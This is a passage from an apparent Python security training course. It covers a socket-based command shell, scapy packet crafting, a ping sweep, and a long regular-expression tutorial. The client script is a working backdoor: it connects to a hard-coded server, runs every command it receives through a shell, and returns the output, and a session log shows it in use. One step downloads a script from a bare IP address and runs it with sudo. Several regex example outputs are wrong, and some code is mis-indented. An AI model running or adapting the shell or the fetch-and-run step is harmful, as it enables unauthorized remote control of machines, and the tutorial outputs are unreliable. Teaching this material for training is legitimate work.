  5671.        global port
  5672.        global s
  5673.        print("Binding socket to port: " + str(port))
  5674.        s.bind((host,port))
  5675.        s.listen(5)
  5676.    except socket.error as msg:
  5677.        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
  5678.        socket_bind()
  5679.  
  5680. # Establish a connection with client (socket must be listening for them)
  5681. def socket_accept():
  5682.    conn, address = s.accept()
  5683.    print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
  5684.    send_commands(conn)
  5685.    conn.close()
  5686.  
  5687.  
  5688. # Send commands    
  5689. def send_commands(conn):
  5690.    while True:
  5691.        cmd = input()                          #input() is changed to raw_input() in order to work on python2.7
  5692.        if cmd == 'quit':
  5693.            conn.close()
  5694.            s.close()
  5695.            sys.exit()
  5696.        if len(str.encode(cmd))>0:
  5697.            conn.send(str.encode(cmd))
  5698.            client_response = str(conn.recv(1024))  # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
  5699.            print(client_response)
  5700. # References for str.encode/decode
  5701. # https://www.tutorialspoint.com/python/string_encode.htm
  5702. # https://www.tutorialspoint.com/python/string_decode.htm
  5703.  
  5704.  
  5705. def main():
  5706.    socket_create()
  5707.    socket_bind()
  5708.    socket_accept()
  5709.  
  5710. main()
  5711.  
  5712.  
  5713.  
  5714.  
  5715.    
  5716. ----------------------------------------------------------------------
  5717.  
  5718.  
  5719. -After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
  5720.  
  5721. Client.py code:
  5722.  
  5723. ---------------------------Paste This-----------------------------------
  5724.  
  5725. import os
  5726. import socket
  5727. import subprocess
  5728.  
  5729. s = socket.socket()
  5730. host = '192.168.1.54'    # change to IP address of your server
  5731. port = 9999
  5732. s.connect((host, port))
  5733.  
  5734. while True:
  5735.    data = s.recv(1024)
  5736.    if data[:2].decode("utf-8") == 'cd':
  5737.        os.chdir(data[3:].decode("utf-8"))
  5738.    if len(data) > 0:
  5739.        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  5740.        output_bytes = cmd.stdout.read() + cmd.stderr.read()
  5741.        output_str = str(output_bytes)                         # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
  5742.        s.send(str.encode(output_str + str(os.getcwd()) + '> '))
  5743.        print(output_str)
  5744. # References for str.encode/decode
  5745. # https://www.tutorialspoint.com/python/string_encode.htm
  5746. # https://www.tutorialspoint.com/python/string_decode.htm
  5747.        
  5748. # Close connection
  5749. s.close()
  5750.  
  5751.  
  5752. ----------------------------------------------------------------------
  5753.  
  5754. ---------------------------Type This-----------------------------------
  5755.  
  5756. $ python3 client.py
  5757. ----------------------------------------------------------------------
  5758.  
  5759. - Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
  5760.  
  5761. ---------------------------Type This-----------------------------------
  5762.  
  5763. infosecaddicts@ubuntu:~$ python3 server.py
  5764.  
  5765. ----------------------------------------------------------------------
  5766.  
  5767. Binding socket to port: 9999
  5768. Connection has been established | IP 192.168.243.1 | Port 57779
  5769. dir
  5770. Volume in drive C has no label.
  5771.  
  5772.  
  5773. Directory of C:\Python27
  5774.  
  5775.  
  5776.  
  5777.  
  5778. ###############################
  5779. # Lesson 21: Installing Scapy #
  5780. ###############################
  5781.  
  5782. ---------------------------Type This-----------------------------------
  5783.  
  5784. sudo apt-get update
  5785. sudo apt-get install python-scapy python-pyx python-gnuplot
  5786.  
  5787. ----------------------------------------------------------------------
  5788.  
  5789. Reference Page For All Of The Commands We Will Be Running:
  5790. http://samsclass.info/124/proj11/proj17-scapy.html
  5791.  
  5792. Great slides for Scapy:
  5793. http://www.secdev.org/conf/scapy_csw05.pdf
  5794.  
  5795.  
  5796.  
  5797.  
  5798. To run Scapy interactively
  5799. ---------------------------Type This-----------------------------------
  5800.  
  5801.     sudo scapy
  5802.  
  5803. ----------------------------------------------------------------------
  5804.  
  5805.  
  5806. ################################################
  5807. # Lesson 22: Sending ICMPv4 Packets with scapy #
  5808. ################################################
  5809.  
  5810. In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
  5811.  
  5812. ---------------------------Type This-----------------------------------
  5813.  
  5814.    i = IP()
  5815.  
  5816. ----------------------------------------------------------------------
  5817.  
  5818.  
  5819.  
  5820. This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
  5821.  
  5822. ---------------------------Type This-----------------------------------
  5823.  
  5824.    i.display()
  5825.  
  5826. ----------------------------------------------------------------------
  5827.  
  5828.  
  5829.  
  5830. Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
  5831.  
  5832. ---------------------------Type This-----------------------------------
  5833.  
  5834.    i.dst="10.65.75.49"
  5835.  
  5836.    i.display()
  5837.  
  5838.  
  5839. ----------------------------------------------------------------------
  5840.  
  5841.  
  5842. Notice that scapy automatically fills in your machine's source IP address.
  5843.  
  5844. Use these commands to create an object named ic of type ICMP and display its properties:
  5845.  
  5846. ---------------------------Type This-----------------------------------
  5847.  
  5848.    ic = ICMP()
  5849.  
  5850.    ic.display()
  5851.  
  5852.  
  5853. ----------------------------------------------------------------------
  5854.  
  5855.  
  5856.  
  5857. Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
  5858.  
  5859. ---------------------------Type This-----------------------------------
  5860.  
  5861.    sr1(i/ic)
  5862.  
  5863. ----------------------------------------------------------------------
  5864.  
  5865.  
  5866.  
  5867.  
  5868. This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
  5869.  
  5870. The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
  5871.  
  5872. Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
  5873.  
  5874. ---------------------------Type This-----------------------------------
  5875.  
  5876.    sr1(i/ic/"YOUR NAME")
  5877.  
  5878. ----------------------------------------------------------------------
  5879.  
  5880. You should see a reply with a Raw section containing your name.
  5881.  
  5882.  
  5883.  
  5884. ##############################################
  5885. # Lesson 23: Sending a UDP Packet with Scapy #
  5886. ##############################################
  5887.  
  5888.  
  5889. Preparing the Target
  5890.  
  5891. ---------------------------Type This-----------------------------------
  5892.  
  5893. $ ncat -ulvp 4444
  5894.  
  5895. ----------------------------------------------------------------------
  5896.  
  5897.  
  5898.  
  5899. --open another terminal--
  5900. In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
  5901.  
  5902. ---------------------------Type This-----------------------------------
  5903.  
  5904.  
  5905.    u = UDP()
  5906.  
  5907.    u.display()
  5908.  
  5909. ----------------------------------------------------------------------
  5910.  
  5911.  
  5912. This creates an object named u of type UDP, and displays its properties.
  5913.  
  5914. Execute these commands to change the destination port to 4444 and display the properties again:
  5915.  
  5916. ---------------------------Type This-----------------------------------
  5917.  
  5918.     i.dst="10.10.2.97"              <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
  5919.  
  5920.    u.dport = 4444
  5921.  
  5922.    u.display()
  5923.  
  5924. ----------------------------------------------------------------------
  5925.  
  5926.  
  5927. Execute this command to send the packet to the Windows machine:
  5928.  
  5929. ---------------------------Type This-----------------------------------
  5930.  
  5931.    send(i/u/"YOUR NAME SENT VIA UDP\n")
  5932.  
  5933. ----------------------------------------------------------------------
  5934.  
  5935.  
  5936. On the Windows target, you should see the message appear
  5937.  
  5938.  
  5939.  
  5940.  
  5941. #######################################
  5942. # Lesson 24: Ping Sweeping with Scapy #
  5943. #######################################
  5944.  
  5945. ---------------------------Paste This-----------------------------------
  5946. ##############21/05/2019#####################
  5947.  
  5948. #!/usr/bin/python
  5949. from scapy.all import *
  5950.  
  5951. TIMEOUT = 2
  5952. conf.verb = 0
  5953. for ip in range(0, 256):
  5954.    packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
  5955.     # You will need to change 10.10.30 above this line to the subnet for your network
  5956.    reply = sr1(packet, timeout=TIMEOUT)
  5957.    if not (reply is None):
  5958.         print reply.dst, "is online"
  5959.    else:
  5960.         print "Timeout waiting for %s" % packet[IP].dst
  5961.  
  5962. ----------------------------------------------------------------------
  5963.  
  5964.  
  5965. ###############################################
  5966. # Checking out some scapy based port scanners #
  5967. ###############################################
  5968.  
  5969. ---------------------------Type This-----------------------------------
  5970. broken link
  5971. wget http://45.63.104.73/rdp_scan.py
  5972.  
  5973. cat rdp_scan.py
  5974.  
  5975. sudo python rdp_scan.py
  5976.  
  5977. ----------------------------------------------------------------------
  5978.  
  5979. ######################################
  5980. # Dealing with conf.verb=0 NameError #
  5981. ######################################
  5982.  
  5983. ---------------------------Type This-----------------------------------
  5984.  
  5985. conf.verb = 0
  5986. NameError: name 'conf' is not defined
  5987.  
  5988. Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
  5989.  
  5990. from scapy import *
  5991.     to
  5992. from scapy.all import *
  5993.  
  5994.  
  5995.  
  5996.  
  5997. Reference:
  5998. http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
  5999.  
  6000.  
  6001. conf.verb=0 is a verbosity setting (configuration/verbosity = conv
  6002.  
  6003.  
  6004.  
  6005. Here are some good Scapy references:
  6006. http://www.secdev.org/projects/scapy/doc/index.html
  6007. http://resources.infosecinstitute.com/port-scanning-using-scapy/
  6008. http://www.hackerzvoice.net/ouah/blackmagic.txt
  6009. http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
  6010.  
  6011.  
  6012.  
  6013.  
  6014.  
  6015.  
  6016.  
  6017.  
  6018.  
  6019. #######################
  6020. # Regular Expressions #
  6021. #######################
  6022.  
  6023.  
  6024.  
  6025. **************************************************
  6026. * What is Regular Expression and how is it used? *
  6027. **************************************************
  6028.  
  6029.  
  6030. Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
  6031.  
  6032.  
  6033. Regular expressions use two types of characters:
  6034.  
  6035. a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
  6036.  
  6037. b) Literals (like a,b,1,2…)
  6038.  
  6039.  
  6040. In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
  6041.  
  6042.  
  6043. Use this code --> import re
  6044.  
  6045.  
  6046.  
  6047.  
  6048. The most common uses of regular expressions are:
  6049. --------------------------------------------------
  6050.  
  6051. - Search a string (search and match)
  6052. - Finding a string (findall)
  6053. - Break string into a sub strings (split)
  6054. - Replace part of a string (sub)
  6055.  
  6056.  
  6057.  
  6058. Let's look at the methods that library "re" provides to perform these tasks.
  6059.  
  6060.  
  6061.  
  6062. ****************************************************
  6063. * What are various methods of Regular Expressions? *
  6064. ****************************************************
  6065.  
  6066.  
  6067. The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
  6068.  
  6069. re.match()
  6070. re.search()
  6071. re.findall()
  6072. re.split()
  6073. re.sub()
  6074. re.compile()
  6075.  
  6076. Let's look at them one by one.
  6077.  
  6078.  
  6079. re.match(pattern, string):
  6080. -------------------------------------------------
  6081.  
  6082. This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
  6083.  
  6084. Code
  6085. ---------------------------Type This-----------------------------------
  6086. $ python3
  6087. import re
  6088. result = re.match(r'AV', 'AV Analytics ESET AV')
  6089. print (result)
  6090. ----------------------------------------------------------------------
  6091.  
  6092. Output:
  6093. <_sre.SRE_Match object at 0x0000000009BE4370>
  6094.  
  6095. Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
  6096.  
  6097. ---------------------------Type This-----------------------------------
  6098. $ python3
  6099. import re
  6100. result = re.match(r'AV', 'AV Analytics ESET AV')
  6101. print (result.group(0))
  6102. ----------------------------------------------------------------------
  6103.  
  6104. Output:
  6105. AV
  6106.  
  6107.  
  6108. Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
  6109.  
  6110.  
  6111. Code
  6112. ---------------------------Type This-----------------------------------
  6113. $ python3
  6114. import re
  6115. result = re.match(r'Analytics', 'AV Analytics ESET AV')
  6116. print (result)
  6117.  
  6118. ----------------------------------------------------------------------
  6119.  
  6120.  
  6121. Output:
  6122. None
  6123.  
  6124.  
  6125. There are methods like start() and end() to know the start and end position of matching pattern in the string.
  6126.  
  6127. Code
  6128. ---------------------------Type This-----------------------------------
  6129. $ python3
  6130. import re
  6131. result = re.match(r'AV', 'AV Analytics ESET AV')
  6132. print (result.start())
  6133. print (result.end())
  6134.  
  6135. ----------------------------------------------------------------------
  6136.  
  6137. Output:
  6138. 0
  6139. 2
  6140.  
  6141. Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
  6142.  
  6143.  
  6144.  
  6145.  
  6146.  
  6147. re.search(pattern, string):
  6148. -----------------------------------------------------
  6149.  
  6150.  
  6151. It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
  6152.  
  6153. Code
  6154. ---------------------------Type This-----------------------------------
  6155. $ python3
  6156. import re
  6157. result = re.search(r'Analytics', 'AV Analytics ESET AV')
  6158. print (result.group(0))
  6159. ----------------------------------------------------------------------
  6160.  
  6161. Output:
  6162. Analytics
  6163.  
  6164. Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
  6165.  
  6166.  
  6167.  
  6168.  
  6169.  
  6170.  
  6171. re.findall (pattern, string):
  6172. ------------------------------------------------------
  6173.  
  6174.  
  6175. It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
  6176.  
  6177.  
  6178. Code
  6179. ---------------------------Type This-----------------------------------
  6180. $ python3
  6181. import re
  6182. result = re.findall(r'AV', 'AV Analytics ESET AV')
  6183. print (result)
  6184. ----------------------------------------------------------------------
  6185.  
  6186. Output:
  6187. ['AV', 'AV']
  6188.  
  6189.  
  6190.  
  6191.  
  6192.  
  6193. re.split(pattern, string, [maxsplit=0]):
  6194. ------------------------------------------------------
  6195.  
  6196.  
  6197.  
  6198. This methods helps to split string by the occurrences of given pattern.
  6199.  
  6200.  
  6201. Code
  6202. ---------------------------Type This-----------------------------------
  6203. $ python3
  6204. result=re.split(r'y','Analytics')
  6205. result
  6206. ----------------------------------------------------------------------
  6207.  
  6208. Output:
  6209. ['Anal', 'tics']
  6210.  
  6211. Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
  6212.  
  6213.  
  6214. Code
  6215. ---------------------------Type This-----------------------------------
  6216. $ python3
  6217. import re
  6218. result=re.split(r's','Analytics eset')
  6219. print (result)
  6220.  
  6221. ----------------------------------------------------------------------
  6222.  
  6223. Output:
  6224. ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
  6225.  
  6226.  
  6227.  
  6228. Code
  6229. ---------------------------Type This-----------------------------------
  6230. $ python3
  6231. import re
  6232. result=re.split(r's','Analytics eset',maxsplit=1)
  6233. print (result)
  6234.  
  6235. ----------------------------------------------------------------------
  6236.  
  6237. Output:
  6238. []
  6239.  
  6240.  
  6241.  
  6242.  
  6243.  
  6244. re.sub(pattern, repl, string):
  6245. ----------------------------------------------------------
  6246.  
  6247. It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
  6248.  
  6249. Code
  6250. ---------------------------Type This-----------------------------------
  6251. $ python3
  6252. import re
  6253. result=re.sub(r'Ruby','Python','Joe likes Ruby')
  6254. print (result)
  6255. ----------------------------------------------------------------------
  6256.  
  6257. Output:
  6258. ''
  6259.  
  6260.  
  6261.  
  6262.  
  6263.  
  6264. re.compile(pattern, repl, string):
  6265. ----------------------------------------------------------
  6266.  
  6267.  
  6268. We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
  6269.  
  6270.  
  6271. Code
  6272. ---------------------------Type This-----------------------------------
  6273. $ python3
  6274. import re
  6275. pattern=re.compile('XSS')
  6276. result=pattern.findall('XSS is Cross Site Scripting, XSS')
  6277. print (result)
  6278. result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
  6279. print (result2)
  6280.  
  6281. ----------------------------------------------------------------------
  6282.  
  6283. Output:
  6284. ['XSS', 'XSS']
  6285. ['XSS']
  6286.  
  6287. Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
  6288.  
  6289. This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
  6290.  
  6291.  
  6292.  
  6293.  
  6294.  
  6295. **********************************************
  6296. * What are the most commonly used operators? *
  6297. **********************************************
  6298.  
  6299.  
  6300. Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
  6301.  
  6302. Operators   Description
  6303. .           Matches with any single character except newline ‘\n'.
  6304. ?           match 0 or 1 occurrence of the pattern to its left
  6305. +           1 or more occurrences of the pattern to its left
  6306. *           0 or more occurrences of the pattern to its left
  6307. \w          Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
  6308. \d          Matches with digits [0-9] and /D (upper case D) matches with non-digits.
  6309. \s          Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
  6310. \b          boundary between word and non-word and /B is opposite of /b
  6311. [..]            Matches any single character in a square bracket and [^..] matches any single character not in square bracket
  6312. \          It is used for special meaning characters like \. to match a period or \+ for plus sign.
  6313. ^ and $         ^ and $ match the start or end of the string respectively
  6314. {n,m}           Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
  6315. a| b            Matches either a or b
  6316. ( )         Groups regular expressions and returns matched text
  6317. \t, \n, \r  Matches tab, newline, return
  6318.  
  6319.  
  6320. For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
  6321.  
  6322. Now, let's understand the pattern operators by looking at the below examples.
  6323.  
  6324.  
  6325.  
  6326. ****************************************
  6327. * Some Examples of Regular Expressions *
  6328. ****************************************
  6329.  
  6330. ******************************************************
  6331. * Problem 1: Return the first word of a given string *
  6332. ******************************************************
  6333.  
  6334.  
  6335. Solution-1  Extract each character (using "\w")
  6336. ---------------------------------------------------------------------------
  6337.  
  6338. Code
  6339. ---------------------------Type This-----------------------------------
  6340. $ python3
  6341. import re
  6342. result=re.findall(r'.','Python is the best scripting language')
  6343. print (result)
  6344. ----------------------------------------------------------------------
  6345.  
  6346. Output:
  6347. ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  6348.  
  6349.  
  6350. Above, space is also extracted, now to avoid it use "\w" instead of ".".
  6351.  
  6352.  
  6353. Code
  6354. ---------------------------Type This-----------------------------------
  6355. $ python3
  6356. import re
  6357. result=re.findall(r'\w','Python is the best scripting language')
  6358. print (result)
  6359.  
  6360. ----------------------------------------------------------------------
  6361.  
  6362. Output:
  6363. ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  6364.  
  6365.  
  6366.  
  6367.  
  6368. Solution-2  Extract each word (using "*" or "+")
  6369. ---------------------------------------------------------------------------
  6370.  
  6371. Code
  6372. ---------------------------Type This-----------------------------------
  6373. $ python3
  6374. import re
  6375. result=re.findall(r'\w*','Python is the best scripting language')
  6376. print (result)
  6377.  
  6378. ----------------------------------------------------------------------
  6379.  
  6380. Output:
  6381. ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
  6382.  
  6383.  
  6384. Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
  6385.  
  6386. Code
  6387. ---------------------------Type This-----------------------------------
  6388. $ python3
  6389. import re
  6390. result=re.findall(r'\w+','Python is the best scripting language')
  6391. print (result)
  6392.  
  6393. ----------------------------------------------------------------------
  6394.  
  6395. Output:
  6396. ['Python', 'is', 'the', 'best', 'scripting', 'language']
  6397.  
  6398.  
  6399.  
  6400.  
  6401. Solution-3 Extract each word (using "^")
  6402. -------------------------------------------------------------------------------------
  6403.  
  6404.  
  6405. Code
  6406. ---------------------------Type This-----------------------------------
  6407. $ python3
  6408. import re
  6409. result=re.findall(r'^\w+','Python is the best scripting language')
  6410. print (result)
  6411.  
  6412. ----------------------------------------------------------------------
  6413.  
  6414. Output:
  6415. ['Python']
  6416.  
  6417. If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
  6418.  
  6419. Code
  6420. ---------------------------Type This-----------------------------------
  6421. $ python3
  6422. import re
  6423. result=re.findall(r'\w+$','Python is the best scripting language')
  6424. print (result)
  6425. ----------------------------------------------------------------------
  6426.  
  6427. Output:
  6428. [‘language']
  6429.  
  6430.  
  6431.  
  6432.  
  6433.  
  6434. **********************************************************
  6435. * Problem 2: Return the first two character of each word *
  6436. **********************************************************
  6437.  
  6438.  
  6439.  
  6440.  
  6441. Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
  6442. ------------------------------------------------------------------------------------------------------
  6443.  
  6444. Code
  6445. ---------------------------Type This-----------------------------------
  6446. $ python3
  6447. import re
  6448. result=re.findall(r'\w\w','Python is the best')
  6449. print (result)
  6450.  
  6451. ----------------------------------------------------------------------
  6452.  
  6453. Output:
  6454. ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
  6455.  
  6456.  
  6457.  
  6458.  
  6459.  
  6460. Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
  6461. ------------------------------------------------------------------------------------------------------
  6462.  
  6463. Code
  6464. ---------------------------Type This-----------------------------------
  6465. $ python3
  6466. import re
  6467. result=re.findall(r'\b\w.','Python is the best')
  6468. print (result)
  6469.  
  6470. ----------------------------------------------------------------------
  6471.  
  6472. Output:
  6473. ['Py', 'is', 'th', 'be']
  6474.  
  6475.  
  6476.  
  6477.  
  6478.  
  6479.  
  6480. ********************************************************
  6481. * Problem 3: Return the domain type of given email-ids *
  6482. ********************************************************
  6483.  
  6484.  
  6485. To explain it in simple manner, I will again go with a stepwise approach:
  6486.  
  6487.  
  6488.  
  6489.  
  6490.  
  6491. Solution-1  Extract all characters after "@"
  6492. ------------------------------------------------------------------------------------------------------------------
  6493.  
  6494. Code
  6495. ---------------------------Type This-----------------------------------
  6496. $ python3
  6497. import re
  6498. result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  6499. print (result)
  6500. ----------------------------------------------------------------------
  6501.  
  6502. Output: ['@gmail', '@test', '@strategicsec', '@rest']
  6503.  
  6504.  
  6505.  
  6506. Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
  6507.  
  6508. ---------------------------Type This-----------------------------------
  6509. $ python3
  6510. import re
  6511. result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  6512. print (result)
  6513.  
  6514. ----------------------------------------------------------------------
  6515.  
  6516. Output:
  6517. ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
  6518.  
  6519.  
  6520.  
  6521.  
  6522.  
  6523.  
  6524. Solution – 2 Extract only domain name using "( )"
  6525. -----------------------------------------------------------------------------------------------------------------------
  6526.  
  6527.  
  6528. Code
  6529. ---------------------------Type This-----------------------------------
  6530. $ python3
  6531. import re
  6532. result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  6533. print (result)
  6534.  
  6535. ----------------------------------------------------------------------
  6536.  
  6537. Output:
  6538. ['com', 'com', 'com', 'biz']
  6539.  
  6540.  
  6541.  
  6542. ********************************************
  6543. * Problem 4: Return date from given string *
  6544. ********************************************
  6545.  
  6546.  
  6547. Here we will use "\d" to extract digit.
  6548.  
  6549.  
  6550. Solution:
  6551. ----------------------------------------------------------------------------------------------------------------------
  6552.  
  6553. Code
  6554. ---------------------------Type This-----------------------------------
  6555. $ python3
  6556. import re
  6557.  
  6558. result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  6559. print (result)
  6560.  
  6561. ----------------------------------------------------------------------
  6562.  
  6563. Output:
  6564. ['12-05-2007', '11-11-2016', '12-01-2009']
  6565.  
  6566. If you want to extract only year again parenthesis "( )" will help you.
  6567.  
  6568.  
  6569. Code
  6570.  
  6571. ---------------------------Type This-----------------------------------
  6572. $ python3
  6573. import re
  6574. result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  6575. print (result)
  6576.  
  6577. ----------------------------------------------------------------------
  6578.  
  6579. Output:
  6580. ['2007', '2016', '2009']
  6581.  
  6582.  
  6583.  
  6584.  
  6585.  
  6586. *******************************************************************
  6587. * Problem 5: Return all words of a string those starts with vowel *
  6588. *******************************************************************
  6589.  
  6590.  
  6591.  
  6592.  
  6593. Solution-1  Return each words
  6594. -----------------------------------------------------------------------------------------------------------------
  6595.  
  6596. Code
  6597. ---------------------------Type This-----------------------------------
  6598. $ python3
  6599. import re
  6600. result=re.findall(r'\w+','Python is the best')
  6601. print (result)
  6602. ----------------------------------------------------------------------
  6603.  
  6604. Output:
  6605. ['Python', 'is', 'the', 'best']
  6606.  
  6607.  
  6608.  
  6609.  
  6610.  
  6611. Solution-2  Return words starts with alphabets (using [])
  6612. ------------------------------------------------------------------------------------------------------------------
  6613.  
  6614. Code
  6615. ---------------------------Type This-----------------------------------
  6616. $ python3
  6617. import re
  6618. result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
  6619. print (result)
  6620.  
  6621. ----------------------------------------------------------------------
  6622.  
  6623. Output:
  6624. ['ove', 'on']
  6625.  
  6626. Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
  6627.  
  6628.  
  6629.  
  6630.  
  6631.  
  6632. Solution- 3
  6633. ------------------------------------------------------------------------------------------------------------------
  6634.  
  6635. Code
  6636. ---------------------------Type This-----------------------------------
  6637. $ python3
  6638. import re
  6639. result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
  6640. print (result)
  6641.  
  6642. ----------------------------------------------------------------------
  6643.  
  6644. Output:
  6645. []
  6646.  
  6647. In similar ways, we can extract words those starts with constant using "^" within square bracket.
  6648.  
  6649.  
  6650. Code
  6651. ---------------------------Type This-----------------------------------
  6652. $ python3
  6653. import re
  6654. result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
  6655. print (result)
  6656.  
  6657. ----------------------------------------------------------------------
  6658.  
  6659. Output:
  6660. [' love', ' Python']
  6661.  
  6662. Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
  6663.  
  6664.  
  6665. Code
  6666. ---------------------------Type This-----------------------------------
  6667. $ python3
  6668. import re
  6669. result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
  6670. print (result)
  6671.  
  6672. ----------------------------------------------------------------------
  6673.  
  6674. Output:
  6675. ['love', 'Python']
  6676.  
  6677.  
  6678.  
  6679.  
  6680.  
  6681.  
  6682. *************************************************************************************************
  6683. * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
  6684. *************************************************************************************************
  6685.  
  6686.  
  6687. We have a list phone numbers in list "li" and here we will validate phone numbers using regular
  6688.  
  6689.  
  6690.  
  6691.  
  6692. Solution
  6693. -------------------------------------------------------------------------------------------------------------------------------------
  6694.  
  6695.  
  6696. Code
  6697. ---------------------------Type This-----------------------------------
  6698. $ python3
  6699. import re
  6700. li=['9999999999','999999-999','99999x9999']
  6701. for val in li:
  6702. if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
  6703.     print ('yes')
  6704. else:
  6705.     print ('no')
  6706.  
  6707.  
  6708. ----------------------------------------------------------------------
  6709.  
  6710. Output:
  6711. yes
  6712. no
  6713. no
  6714.  
  6715.  
  6716.  
  6717.  
  6718.  
  6719. ******************************************************
  6720. * Problem 7: Split a string with multiple delimiters *
  6721. ******************************************************
  6722.  
  6723.  
  6724.  
  6725. Solution
  6726. ---------------------------------------------------------------------------------------------------------------------------
  6727.  
  6728.  
  6729. Code
  6730. ---------------------------Type This-----------------------------------
  6731. $ python3
  6732. import re
  6733. line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
  6734. result= re.split(r'[;,\s]', line)
  6735. print (result)
  6736.  
  6737. ----------------------------------------------------------------------
  6738.  
  6739. Output:
  6740. ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
  6741.  
  6742.  
  6743.  
  6744. We can also use method re.sub() to replace these multiple delimiters with one as space " ".
  6745.  
  6746.  
  6747. Code
  6748. ---------------------------Type This-----------------------------------
  6749. $ python3
  6750. import re
